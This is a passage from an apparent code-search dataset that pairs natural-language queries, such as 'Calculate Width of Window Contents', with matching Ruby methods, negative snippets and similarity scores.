create.descends_hierarchy(@id).fit unit[:descends_hierarchy]\n create.add_role_qualifier(@id)\n end\n end\n end", "def create_person\n free = [\"mornings\", \"evenings\", \"always\", \"afternoons\", \"weekends\", \"none\"].sample\n\n person = Person.create(\n name: Faker::Movies::HitchhikersGuideToTheGalaxy.character,\n free_time: free,\n age: rand(11...70)\n )\nend", "def set_name\n person = CMU::Person.find(andrew_id)\n if !person.nil?\n self.first_name = person.first_name\n self.last_name = person.last_name\n end\n end", "def create\n @person = Person.new(params[:person])\n current_organization.people << @person\n if @person.save\n redirect_to people_path, notice: @person.name.to_s + ' was successfully created.'\n else\n render action: \"new\"\n end\n end", "def add_person(person, post = {})\n post[:person_source_identifier] = person.source_identifier\n post[:person_company] = person.company\n post[:person_first_name] = person.first_name\n post[:person_last_name] = person.last_name\n post[:person_phone] = person.phone\n post[:person_fax] = person.fax\n post[:person_email] = person.email\n post\n end", "def setup()\n @person = {\"name\" => \"jim\", \"age\" => 20}\n end", "def create\n @person = Person.new(params[:person])\n \n #save name(s)\n #params[:name].each {|name| \n # @name = Name.new\n # @name.name = name\n # @name.person_id = @person.id\n # @name.save\n #}\n\n respond_to do |format|\n if @person.save\n flash[:notice] = 'Person was successfully created.'\n format.html { redirect_to(@person) }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\", :layout => \"main\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_pi\n on(ProtocolOverview).pi_employee_search\n on KcPersonLookup do |look|\n look.search\n # We need to exclude the set of test users from the list\n # of names we'll randomly select from...\n names = look.returned_full_names - $users.full_names\n name = 'William Lloyd Garrison'\n while name.scan(' ').size > 1\n name = names.sample\n # The KcPerson_Id of the user must not contain letters...\n name = 'William Lloyd Garrison' if look.person_id_of(name) =~ /[a-z]/\n end\n first_name = name[/^\\w+/]\n last_name = name[/\\w+$/]\n user_name = look.user_name_of name\n look.return_value name\n pi = make ProtocolPersonnelObject, first_name: first_name, last_name: last_name,\n full_name: name, role: 'Principal Investigator', user_name: user_name\n @personnel << pi\n end\n end", "def create_new_person_authority(test_data)\n data_input_errors = enter_person_auth_data test_data\n click_top_save_button\n when_exists(delete_button, Config.short_wait)\n data_input_errors\n end", "def create\n @person = current_user.created_people.new(person_params_with_school)\n if @person.save\n render :show, status: :created, location: api_v1_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end", "def valid_person\n @person ||= StateLegislator.new(state: @metadatum.abbreviation)\n @person.id = 'VTL000008'\n @person.save!\n @person\n end", "def new_user_setup\n \t@person = Person.find(:first, :conditions => {:email_address => params[:email_address]})\n \tif @person.nil?\n \t\tflash[:error] = \"Invalid Email Address.\"\n \t\tredirect_to :action => 'register'\n\t\telsif [email protected]_hash.blank?\n \t\tflash[:error] = \"Your account has already been set up. See the system administrator for help logging in.\"\n \t\tredirect_to :action => 'index'\n \telsif params[:password] != params[:password_confirm]\n \t\tflash[:error] = \"Passwords don't match. Please try again.\"\n \t\tredirect_to :action => 'register'\n \telse\n \t\[email protected] = params[:password]\n \t\[email protected]!\n \t\tredirect_to home_url(@person)\n \tend\n end", "def create\n @person = current_user.created_people.new(person_params_with_school)\n if @person.save\n render :show, status: :created, location: api_v2_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end", "def create_person()\n puts \"What's the person's name?\"\n person_name = gets.chomp\n puts \"What's the person's age?\"\n person_age = gets.chomp\n puts \"What's the person's gender? male / female / other\"\n person_gender = gets.chomp\n newperson = Person.new(person_name, person_age, person_gender)\n puts \"You have added #{newperson.name} who is a #{newperson.age} year old #{newperson.gender}\"\n return newperson\n\nend", "def create_current_person\n if logged_in?\n Person.current = Person.with(:roles).find(session[:person])\n else\n Person.current = nil\n end\n end", "def initialize(person_id, name, last_name)\n @person_id = person_id\n @name = name\n @last_name = last_name\n end", "def generate_person(person)\n \"\"\"Method called on all people\"\"\"\n # Populate person record with data from the reverse index\n if @site.data[\"people_names\"].include?( person.data[\"title\"] )\n person.data[\"shows\"] = @site.data[\"people_ri_shows\"][ person.data[\"title\"] ]\n person.data[\"committees\"] = @site.data[\"people_ri_committees\"][ person.data[\"title\"] ]\n end\n\n # Person additional data\n person.data[\"path_name\"] = make_hp_path(person.data[\"title\"])\n\n # People by filename\n @people_by_filename[person.basename_without_ext] = person\n end", "def initialize(someone)\n # we dont need the \"id\" field, sql will auto increment our DB entries\n # self.id = someone[0].to_i\n #taking the data from \"someone(the argument above)\" we will map the data from the someone array to the attibutes of the person we are creating\n self.type = someone[1]\n self.name = someone[2]\n self.email = someone[3]\n self.reason = someone[4]\n self.iq = someone[5].to_i\n #once we have our new person speced out, we will save them to the database\n #this a variable to pass the database name to the save method\n my_db = \"student_directory.db\"\n #before saving we must open the database, code execution moves to line 14\n Person.open_database(my_db)\n Person.save(someone)\n Person.close_database\n end", "def create\n @person = Person.new(params[:person])\n @title = \"people\"\n @person.firstname = @person.firstname.upcase\n @person.lastname = @person.lastname.capitalize\n\n respond_to do |format|\n if @person.save\n\n begin\n #create association\n @asso = PartnerPerson.new()\n #@asso.person_id = @person.id\n @asso.person = @person\n if signed_in_and_master?\n @asso.partner_id = 1\n else\n @partner = Partner.all(:conditions => [\"user_id = ?\", current_user.id])\n @asso.partner_id = @partner[0].id\n end \n @asso.save\n\n rescue Exception => e\n format.html { render :action => \"new\" }\n format.xml { render :xml => @asso.errors, :status => :unprocessable_entity }\n return\n end \n\n format.html { redirect_to(@person, :notice => 'Person was successfully created.') }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @person = @account.people.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_team_person\n @team_person = TeamPerson.find(params[:id])\n end", "def create_record\n\tprint \"First Name: \"\n\tfname = gets.chomp.upcase\n\tprint \"Last Name: \"\n\tlname = gets.chomp.upcase\n\tprint \"Role: \"\n\trole = gets.chomp.upcase\n\tprint \"Social Security Number: \"\n\tssn = gets.chomp.to_s\n\t#last4 = ssn.last(4)\n\tprint \"Location: \"\n\tlocation = gets.chomp.upcase\n\tnew_person = People.new(fname,lname,role,location,ssn)\n\[email protected](new_person)\n\t\n\tputs \"Account created.\"\n\tputs \"Name: #{lname}, #{fname}\"\n\tputs \"Location: #{location}\"\n\tputs \"Role: #{role}\"\n\t#puts \"SSN: #{last4}\"\nend" ]
[ "0.7103863", "0.6901225", "0.68711716", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6806993", "0.6787518", "0.67805606", "0.6776896", "0.6776896", "0.67676413", "0.676527", "0.67531335", "0.6737735", "0.6720195", "0.66859955", "0.6662225", "0.66616243", "0.6660943", "0.6641835", "0.662808", "0.662808", "0.662808", "0.662808", "0.662808", "0.662808", "0.66231", "0.65954936", "0.6592237", "0.6581625", "0.6578639", "0.65665096", "0.654009", "0.6523357", "0.6508771", "0.650269", "0.64937186", "0.6489396", "0.64888096", "0.64874434", "0.6485233", "0.64806896", "0.64758587", "0.64590406", "0.6458578", "0.6452657", "0.64483905", "0.6440019", "0.6435517", "0.6388501", "0.63693357", "0.63667214", "0.63494295", "0.6318396", "0.6253603", "0.6245526", "0.62439144", "0.6235885", "0.6222163", "0.6215743", "0.6205892", "0.61963934", "0.6194347", "0.619064", "0.61834604", "0.6161252", "0.6152291", "0.6134815", "0.6124295", "0.61239123", "0.6118456" ]
0.0
-1
Calculate Width of Window Contents
def contents_width width - standard_padding * 2 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def width\n return @window_width # outer width\nend", "def window_width() Graphics.width - 128 end", "def window_width\n Graphics.width / 2\n end", "def window_width\n end", "def window_width\n return WINDOW_WIDTH\n end", "def window_width\n return WINDOW_WIDTH\n end", "def window_width\n return WINDOW_WIDTH\n end", "def window_width\n return WINDOW_WIDTH\n end", "def window_width\n return WINDOW_WIDTH\n end", "def windows_width\n Graphics.width / 2 + 10 # + 64\n end", "def window_width\n return CONTROL_WINDOW_WIDTH \n end", "def win_width\n Curses.cols - win_padding\n end", "def window_width\n MARW_CONFIGURATION[:window_width] == -1 ? Graphics.width : MARW_CONFIGURATION[:window_width]\n end", "def window_width\n return COMMAND_WINDOW_WIDTH\n end", "def window_width\r\n @options[:window_width]\r\n end", "def window_width\n @width_overwrite || default_width\n end", "def calc_width; Graphics.width; end", "def width\n `#{clientRect}.width`\n end", "def window_size\n manage.window.size\n end", "def window_size\n manage.window.size\n end", "def window_size\n manage.window.size\n end", "def window_width\n return ACTOR_WINDOW_WIDTH\n end", "def window_width\n 344 + (padding * 2)\n end", "def get_width; end", "def window_width\n $game_system.macmm_command_width\n end", "def display_width\n @width ||= begin\n require 'curses'\n Curses.init_screen\n x = Curses.cols\n Curses.close_screen\n x\n rescue\n HELP_WIDTH\n end\n @width - HELP_INDENT\n end", "def width\n @dimensions.x\n end", "def window_width\n w = ($game_system.quest_categories.size > 1 || QuestData::SHOW_CATEGORY_LABEL) ? \n Graphics.width - QuestData::LIST_WINDOW_WIDTH : QuestData::LIST_WINDOW_WIDTH\n end", "def width\n @ole.Width\n end", "def width\n @ole.Width\n end", "def width\n dimensions()[:x]\n end", "def screen_width(width)\n ((width.to_f / @scene_width) * $window.width).to_i\n end", "def width\r\n assert_exists\r\n return @o.invoke(\"width\").to_s\r\n end", "def getWidth\n @width\n end", "def getWidth\n @width\n end", "def terminal_width\n TerminalWidthCalculator.calculate\n end", "def terminal_width\n TerminalWidthCalculator.calculate\n end", "def width\n Terminal.width\n end", "def browser_width\n @browser_width\n end", "def retrieve_terminal_width\n ts = TerminalSize::TerminalSize.new()\n @width = ts.columns - @entry_size - 3\n end", "def getWidth\n @width\n end", "def local_window_size; end", "def getWidth\n @width\n end", "def width\n return @width\n end", "def size\n width_pointer = FFI::MemoryPointer.new :int, 1\n height_pointer = FFI::MemoryPointer.new :int, 1\n XDo::FFILib.xdo_get_window_size @_xdo_pointer, @_window, width_pointer,\n height_pointer\n [width_pointer.read_int, height_pointer.read_int]\n end", "def game_width\n screen_size = NSScreen.mainScreen.frame.size\n\t\tif (screen_size.width / screen_size.height) > GAME_ASPECT\n\t\t screen_size.width = screen_size.height * GAME_ASPECT\n\t\tend\n\t\tscreen_size.width\n end", "def window_size()\n\[email protected]_to(x, y)\nend", "def width\r\n @content[pn(:MediaBox)][2]\r\n end", "def getWidth\n @width\n end", "def content_width\n page_width - margin.inner - margin.outer\n end", "def width\n @width\n end", "def width\n cols\n end", "def width\n get_geometry if @width.nil?\n return @width\n end", "def width\n bounds[:right] - bounds[:left]\n end", "def width\n bounds[:right] - bounds[:left]\n end", "def get_width\n # FIXME: I don't know how portable it is.\n default_width = 80\n begin\n tiocgwinsz = 0x5413\n data = [0, 0, 0, 0].pack(\"SSSS\")\n if @out.ioctl(tiocgwinsz, data) >= 0 then\n #rows, cols, xpixels, ypixels = data.unpack(\"SSSS\")\n cols = data.unpack(\"SSSS\")[1]\n if cols >= 0 then cols else default_width end\n else\n default_width\n end\n rescue Exception\n default_width\n end\n end", "def screen_width()\n end", "def _window_size\n unless @window_size\n rows = `tput lines`\n cols = `tput cols`\n @window_size = [cols.chomp.to_i, rows.chomp.to_i]\n end\n @window_size\n end", "def width\n @box.width\n end", "def winsize\n $stdout.winsize\nend", "def width\n @box.width\n end", "def GetPageWidth()\n\t\treturn @w;\n\tend", "def get_window_size\n Ncurses.refresh\n cols, rows = [], []\n Ncurses.stdscr.getmaxyx rows, cols\n [rows.first, cols.first]\n end", "def canvas_width\n cur_page.canvas_width\n end", "def getWidth\n\t\t@width\n\tend", "def width; end", "def width; end", "def width; end", "def width; end", "def width; end", "def width; end", "def width; end", "def width; end", "def width; end", "def width\n size.last\n end", "def width\n size.last\n end", "def width\n assert_exists\n driver.execute_script \"return arguments[0].width\", @element\n end", "def width\n self.size[:x]\n end", "def width\n if clear_border?\n geometry.width\n\n else\n border.width\n\n end\n end", "def width()\n @view__.width\n end", "def remote_window_size; end", "def width\n dimensions.first\n end", "def active_width\r\n window_scrolled? ? scroll_width : base_width\r\n end", "def size\n console.winsize\n end", "def width\n ensure_complete!\n sum_width = cell_widths.reduce(&:+)\n [param(:width, 0), sum_width].max\n end", "def outer_width\n width + offsets.width + padding.width\n end", "def display_w(*val)\n if val.empty?\n return @display_w\n else\n #raise ArgumentError \"display_h should be ... \" if val[0] ...\n oldvalue = @display_w\n @display_w = val[0]\n @display_w = [@display_w, @target_window.width - 2].min unless @target_window.width == 0\n $log.debug \"XXX:set display_w to #{@display_w} \"\n #fire_property_handler(:display_h, oldvalue, @display_h)\n end\n self\n end", "def contents_width\n (item_width + spacing) * item_max - spacing\n end", "def width; rect.width; end", "def contents_width\r\n (item_width + spacing) * item_max - spacing\r\n end", "def get_ScreenWidth\n System::get_property('screen_width')\n end", "def winsize; IO.console.winsize end", "def width\n end", "def width\n end", "def window_width; QuestData::LIST_WINDOW_WIDTH; end", "def window_width; QuestData::LIST_WINDOW_WIDTH; end", "def _screen_width\n\t\t80\n\tend", "def width\n length * xdim\n end", "def width\n length * xdim\n end", "def get_window_count\n return @browser.windows.count\n end" ]
[ "0.8322178", "0.7986435", "0.795394", "0.79373646", "0.78832567", "0.78832567", "0.78832567", "0.78832567", "0.78832567", "0.7877487", "0.757733", "0.75689226", "0.7534443", "0.75208527", "0.7506657", "0.74952483", "0.74487317", "0.73896414", "0.7355914", "0.7355914", "0.7355914", "0.7310081", "0.73052424", "0.72214097", "0.7209037", "0.7165669", "0.7081022", "0.7000359", "0.6945105", "0.6945105", "0.6929335", "0.6926543", "0.6916202", "0.69110274", "0.69110274", "0.6897634", "0.6897634", "0.6882348", "0.68605995", "0.68487054", "0.68333364", "0.68275213", "0.6825568", "0.6822002", "0.6810749", "0.6806156", "0.67722607", "0.676985", "0.67400444", "0.67179614", "0.6707305", "0.67020017", "0.6686408", "0.6678894", "0.6678894", "0.6670288", "0.66654676", "0.6661893", "0.6647773", "0.6647207", "0.66464996", "0.6637834", "0.6634673", "0.6627486", "0.6622928", "0.6612635", "0.6612635", "0.6612635", "0.6612635", "0.6612635", "0.6612635", "0.6612635", "0.6612635", "0.6612635", "0.660763", "0.660763", "0.66047376", "0.6602358", "0.65860593", "0.6578912", "0.6572538", "0.6567975", "0.65454894", "0.65337175", "0.6530377", "0.65149593", "0.65130305", "0.6511826", "0.65117854", "0.65068066", "0.65052295", "0.64958316", "0.64873743", "0.64873743", "0.64827836", "0.64827836", "0.64798635", "0.6479564", "0.6479564", "0.6477775" ]
0.68874353
37
Calculate Height of Window Contents
def contents_height h = height - standard_padding * 2 h + (@item_max * line_height) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def height\n return @window_height # outer height\nend", "def window_height\n end", "def window_height\n fitting_height(11)\n end", "def window_height\n fitting_height(11)\n end", "def window_height\n fitting_height(11)\n end", "def window_height\n Graphics.height - under_help - @keys_window.height\n end", "def window_height\n base_height = (wb = current_window_builder)[5] + wb[-1]\n base_height + default_line_height * line_number\n end", "def contents_height\n Graphics.height\n end", "def visible_height\n @win.maxy - 2\n end", "def window_height\n return ACTOR_WINDOW_HEIGHT\n end", "def height\n `#{clientRect}.height`\n end", "def height\n top + bottom\n end", "def height\n return height_helper(@root)\n end", "def height\n @dimensions.y\n end", "def browser_height\n @browser_height\n end", "def height\n height_helper(@root, 0)\n end", "def contents_height\n height - standard_padding * 2\n end", "def canvas_height\n cur_page.canvas_height\n end", "def height\n return 0 if @root.nil?\n return hegiht_helper(@root)\n end", "def height\n return height_helper(@root, 0)\n end", "def height\n return height_helper(@root, 0)\n end", "def height\n bounds[:bottom] - bounds[:top]\n end", "def height\n bounds[:bottom] - bounds[:top]\n end", "def height\n dimensions()[:y]\n end", "def height\n @screenplay.line_height * @lines.size\n end", "def height\n return height_helper(@root, 0, 1)\n end", "def height\n return height_helper(@root, 0, 1)\n end", "def height\n top - bottom\n end", "def height\n content.size\n end", "def display_height\n (display_width.to_f / width.to_f) * height\n end", "def display_height\n (display_width.to_f / width.to_f) * height\n end", "def display_height\n (display_width.to_f / width.to_f) * height\n end", "def height\n Terminal.height\n end", "def game_height\n screen_size = NSScreen.mainScreen.frame.size\n\t\tif (screen_size.width / screen_size.height) > GAME_ASPECT\n\t\t\tscreen_size.height = screen_size.width / GAME_ASPECT\n end\n\t\tscreen_size.height\n end", "def height\n @ole.Height\n end", "def height\n @ole.Height\n end", "def screen_height(height)\n ((height.to_f / @scene_height) * $window.height).to_i\n end", "def GetPageHeight()\n\t\treturn @h;\n\tend", "def get_ScreenHeight\n System::get_property('screen_height')\n end", "def height\n rows\n end", "def height\n line_count = layout.line_count\n h = (line_count - 1) * layout.spacing\n line_count.times do |i|\n h += layout.get_line_bounds(i).height\n end\n h\n end", "def height\r\n @content[pn(:MediaBox)][3]\r\n end", "def height\n return nil unless @height\n if @height < 0\n return ((FFI::NCurses.LINES + @height) - self.row) + 1\n #return (FFI::NCurses.LINES + @height) \n end\n @height\n end", "def height\n if clear_border?\n geometry.height\n\n else\n border.height\n\n end\n end", "def get_top_bar_height(id)\n (`xwininfo -id #{id}`).scan(/Relative.*Y:\\s*(\\d*)/)[0][0].to_i\nend", "def height\n get_geometry if @height.nil?\n return @height\n end", "def scroll_height\n self.scroll_size[:y]\n end", "def height\n (self.width.to_f * (9.to_f/16.to_f)).to_i\n end", "def full_height\n height + (margin * 2)\n end", "def full_height\n height + (margin * 2)\n end", "def full_height\n height + (margin * 2)\n end", "def height\n return @height\n end", "def size\n width_pointer = FFI::MemoryPointer.new :int, 1\n height_pointer = FFI::MemoryPointer.new :int, 1\n XDo::FFILib.xdo_get_window_size @_xdo_pointer, @_window, width_pointer,\n height_pointer\n [width_pointer.read_int, height_pointer.read_int]\n end", "def height\n return 0 if @root.nil?\n return height_helper(@root, 0, 1)\n end", "def get_win_decorator_height(id)\n (`xwininfo -id #{id}`).scan(/^.*Y:\\s*(\\d*)/).flatten.map{|n| n.to_i}.reduce(:-)\nend", "def height; end", "def height; end", "def body_height\n if orientation == PORTRAIT\n @paper.height - (@top_margin + @bottom_margin)\n else\n @paper.width - (@top_margin + @bottom_margin)\n end\n end", "def height\n @maps[:background].size\n end", "def window_size\n manage.window.size\n end", "def window_size\n manage.window.size\n end", "def window_size\n manage.window.size\n end", "def outer_height\n height + offsets.height + padding.height\n end", "def height\n assert_exists\n driver.execute_script \"return arguments[0].height\", @element\n end", "def height\n memoized_info[:height]\n end", "def height_calc\n lines = [@data.length, page_row_max].min rescue page_row_max\n return lines * line_height + standard_padding * 2\n end", "def height_calc\n lines = [@data.length, page_row_max].min rescue page_row_max\n return lines * line_height + standard_padding * 2\n end", "def height\n dimensions.last\n end", "def height\n return 0 if @root == nil\n\n current = @root\n\n return height_helper(current, 1, 1)\n end", "def pixelheight\n end", "def height\n\t\treturn @height\n\tend", "def get_window_size\n Ncurses.refresh\n cols, rows = [], []\n Ncurses.stdscr.getmaxyx rows, cols\n [rows.first, cols.first]\n end", "def body_height\n prev_para= nil\n @paras.inject(0.points) do |total, para|\n prev, prev_para= [prev_para, para]\n total + para.height + (prev.nil?? 0.points : prev.margin_between(para))\n end\n end", "def getViewHeight\n title_height = 16\n text_height = @text.frame.size.height\n padding = 4 * 3\n title_height + text_height + padding\n end", "def page_height\n cur_page.page_height\n end", "def height; rect.height; end", "def height\n @height = @height + 1\n end", "def height\n size_a[1]\n end", "def calc_contents_height\n @q_contents_height = 0\n @layout.each { |dt| @q_contents_height += data_height(dt) } if @quest\n end", "def height\n current_node = @root\n\n return height_helper(current_node)\n end", "def height()\n @view__.height\n end", "def height\n @bottom_edge - @top_edge\n end", "def fullheight\n return self.bitmap.height.to_f * self.zoom_y\n end", "def contents_height\r\n item_height\r\n end", "def contents_height\n item_height\n end", "def get_height\n return get_keyword_value(\"FLOOR-HEIGHT\").to_f\n end", "def height\n @height || 100\n end", "def height\n @root and @root.height or 0\n end", "def height\n size.first\n end", "def height\n size.first\n end", "def height\n attr('height')\n end", "def terminal_height; end", "def terminal_height; end", "def vh\n return (viewport == nil ? self.bitmap.height : viewport.rect.height)\n end", "def height(_data_length, _item_size, viewport)\n return viewport.rect.height\n end", "def height\n lines.size\n end", "def height\n lines.size\n end", "def height\n image_ptr[:sy]\n end", "def height()\n 0\n end", "def height\n # raise NotImplementedError\n # return 0 if @root.nil?\n return height_helper(@root, 0, 1)\n end" ]
[ "0.8202312", "0.8073735", "0.79666626", "0.79666626", "0.79666626", "0.7933884", "0.7861128", "0.75200915", "0.7499204", "0.74642605", "0.7343024", "0.7301315", "0.727816", "0.72587305", "0.72411597", "0.72022945", "0.71514267", "0.7151034", "0.7100935", "0.7058984", "0.7058984", "0.70431083", "0.70431083", "0.70145994", "0.70004535", "0.6989298", "0.6989298", "0.69840974", "0.6979421", "0.69483674", "0.69483674", "0.69483674", "0.69296074", "0.6915544", "0.6905269", "0.6905269", "0.6856142", "0.6847944", "0.6823149", "0.68142235", "0.68141377", "0.6812772", "0.6807073", "0.68022996", "0.67556834", "0.6755402", "0.67490226", "0.6738493", "0.6724174", "0.6724174", "0.6724174", "0.6721431", "0.6721419", "0.6719858", "0.6713272", "0.6699107", "0.6699107", "0.6698994", "0.6685963", "0.6685634", "0.6685634", "0.6685634", "0.66815025", "0.66674566", "0.66602665", "0.66566384", "0.66566384", "0.66432726", "0.6641638", "0.663797", "0.6637207", "0.6636388", "0.6635711", "0.6606736", "0.65883636", "0.65677774", "0.65663266", "0.65595275", "0.65593356", "0.6559039", "0.65588075", "0.6557034", "0.65448505", "0.6511455", "0.65034056", "0.64979136", "0.6496443", "0.6487986", "0.64822716", "0.64822716", "0.6481896", "0.64596856", "0.64596856", "0.6457221", "0.6454386", "0.6449934", "0.6449934", "0.64450634", "0.6431925", "0.6431136" ]
0.6843328
38
Get Rectangle for Drawing Items
def item_rect(index) rect = Rect.new rect.width = item_width rect.height = item_height rect.x = index % col_max * (item_width + spacing) rect.y = line_height + (index / col_max * item_height) rect end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rect\n get.rect\n end", "def item_rect(index)\n rect = Rect.new\n rect.width = item_width\n rect.height = item_height\n rect.x = item_position(index).at(0)\n rect.y = item_position(index).at(1)\n rect\n end", "def item_rect(index)\n rect = Rect.new(0, 0, 0, 0)\n rect.x = index % 10 * 32 + index % 10 / 5 * 16\n rect.y = index / 10 * WLH\n rect.width = 32\n rect.height = WLH\n return rect\n end", "def get_bounding_rectangle\n leftmost_x = @panel.get_width\n rightmost_x = 0\n top_y = @panel.get_height\n bottom_y = 0\n\n @entities.each do |e|\n e_x = e.get_x\n e_y = e.get_y\n\n if e_x < leftmost_x\n leftmost_x = e_x\n end\n\n if e_x + ENTITY_WIDTH > rightmost_x\n rightmost_x = e_x + ENTITY_WIDTH\n end\n\n if e_y < top_y\n top_y = e_y\n end\n\n if e_y + ENTITY_HEIGHT > bottom_y\n bottom_y = e_y + ENTITY_HEIGHT\n end\n\n #if leftmost_x - 17 > 0\n # leftmost_x = leftmost_x -17\n #else\n # leftmost_x = 0\n #end\n\n #if rightmost_x + 17 < @panel.get_width\n # rightmost_x = rightmost_x +17\n #else\n # rightmost_x = @panel.get_width\n #end\n\n #if top_y - 17 > 0\n # top_y = top_y -17\n #else\n # top_y = 0\n #end\n\n #if bottom_y + 17 < @panel.get_height\n # bottom_y = bottom_y + 17\n #else\n # bottom_y = @panel.get_height\n #end\n\n end\n return Rectangle.new leftmost_x, top_y, rightmost_x - leftmost_x, bottom_y - top_y\n end", "def item_rect(index)\r\n rect = super\r\n rect.x = index * (item_width + spacing)\r\n rect.y = 0\r\n rect\r\n end", "def item_rect(index)\n rect = super\n rect.x = index * (item_width + spacing)\n rect.y = 0\n rect\n end", "def item_rect_for_cursor(index)\n rect = item_rect(index)\n rect.x += 6\n rect.y = 0\n rect.height = fitting_height(0) + 6\n rect.width = 148\n rect\n end", "def item_rect(*args, &block)\n rect = super(*args, &block)\n rect.y += [(rect.height - 98) / 2, 0].max\n rect.height = 98\n rect\n end", "def item_rect(index)\n rect = Rect.new(0, 0, 0, 0)\n rect.width = (contents.width + @spacing) / @column_max - @spacing\n rect.height = (WLH * $game_message.multi_line_choice)\n rect.x = index % @column_max * (rect.width + @spacing)\n rect.y = index / @column_max * (WLH * $game_message.multi_line_choice)\n return rect\n end", "def item_rect(index)\n rect = super\n rect.y = index / col_max * (item_height + standard_padding) + line_height + standard_padding\n rect\n end", "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[2] = Rect.new(rect.x,rect.y,32,rect.height)\n \n # Rects Adjustments\n \n # ucIcon\n # Nothing to do\n \n # cItemName\n rects[1].x += rects[0].width\n rects[1].width = rect.width - rects[0].width - rects[2].width - spacing\n \n # cItemNumber\n rects[2].x += rect.width - rects[2].width\n \n return rects\n end", "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[2] = Rect.new(rect.x,rect.y,32,rect.height)\n \n # Rects Adjustments\n \n # ucIcon\n # Nothing to do\n \n # cItemName\n rects[1].x += rects[0].width\n rects[1].width = rect.width - rects[0].width - rects[2].width - spacing\n \n # cItemNumber\n rects[2].x += rect.width - rects[2].width\n \n return rects\n end", "def _getDrawingArea()\n drawingArea = Rect.new_with_nsrect(self.bounds())\n if drawingArea\n drawingArea.Deflate(@border, @border)\n# NSLog(\"drawingArea = #{drawingArea}\")\n end\n return drawingArea\n end", "def rect; end", "def rect; end", "def item_rect(index)\n rect = super\n rect.y = index / col_max * (item_height + standard_padding)\n rect\n end", "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[2] = Rect.new(rect.x,rect.y,64,rect.height)\n rects[3] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[4] = Rect.new(rect.x,rect.y,32,rect.height)\n \n # Rects Adjustments\n \n # ucIcon\n # Nothing to do\n \n # cItemName\n rects[1].x += rects[0].width\n rects[1].width = rect.width - rects[0].width - rects[2].width - rects[3].width - rects[4].width - (spacing*3)\n \n # cItemPrice\n rects[2].x += rect.width - rects[2].width - rects[3].width - rects[4].width - (spacing*2)\n \n # cItemPossess \n rects[3].x += rect.width - rects[3].width - rects[4].width - spacing\n \n # ucItemNumber\n rects[4].x += rect.width - rects[4].width\n \n return rects\n end", "def rect\n Image.run_cmplx(self) { |x| x.complex :rect }\n end", "def rectangle(x, y, width, height, options={})\n cur_page.rectangle(x, y, width, height, options)\n end", "def item_rect(index)\n index -= 1 if index == @max_char\n x = index % max_col\n y = index / max_col\n n = [(@max_char - y * max_col), max_col].min\n \n x = left(n) + x * char_width\n x = width - x - 48 if not @ltr\n y = 24 + y * (line_height + 4)\n Rect.new(x, y, char_width, line_height)\n end", "def draw_advanced(rect, item) end", "def draw_rectangle(dpi, drawing)\n drawing.rectangle(\n 0,\n 0,\n (@field['sizex']*dpi).floor,\n (@field['sizey']*dpi).floor\n )\n end", "def rect()\n Rect.new(p1, p2)\n .stroke(stroke)\n .fill(fill)\n .fill_phase(fill_phase)\n .line_width(line_width)\n .line_dash(line_dash)\n end", "def rect()\n Rect.new(p1, p2)\n .stroke(stroke)\n .fill(fill)\n .fill_phase(fill_phase)\n .line_width(line_width)\n .line_dash(line_dash)\n end", "def determine_rects(rect)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n \n # Rects Adjustments\n \n # ucIcon\n # Nothing to do\n \n # cEquipName\n rects[1].x += rects[0].width\n rects[1].width -= rects[0].width\n \n return rects\n end", "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[2] = Rect.new(rect.x,rect.y,48,rect.height)\n \n # Rects Adjustments\n \n # ucIcon\n # Nothing to do\n \n # cSkillName\n rects[1].x += rects[0].width\n rects[1].width = rect.width - rects[0].width - rects[2].width - spacing\n \n # cSkillMpCost\n rects[2].x += rect.width - rects[2].width\n \n return rects\n end", "def draw_advanced(rect, item)\n end", "def rect=(rectangle); end", "def bounds\n Rectangle.new @x, @y, @w, @h\n end", "def bounds\n Rectangle.new @x, @y, @w, @h\n end", "def rect(locator)\n find_element(locator).rect\n end", "def ann_rect(x, y, width, height)\n return if @ann_layer == nil\n @ann_layer.rect(width, height, x, y).round(2).styles(:opacity => 0.4, :fill => \"yellow\")\n end", "def item_bitmap\n bitmap = Bitmap.new(24, 24)\n rect = line_rect\n rect.width = 24\n bitmap.blt(0, 0, contents, rect)\n 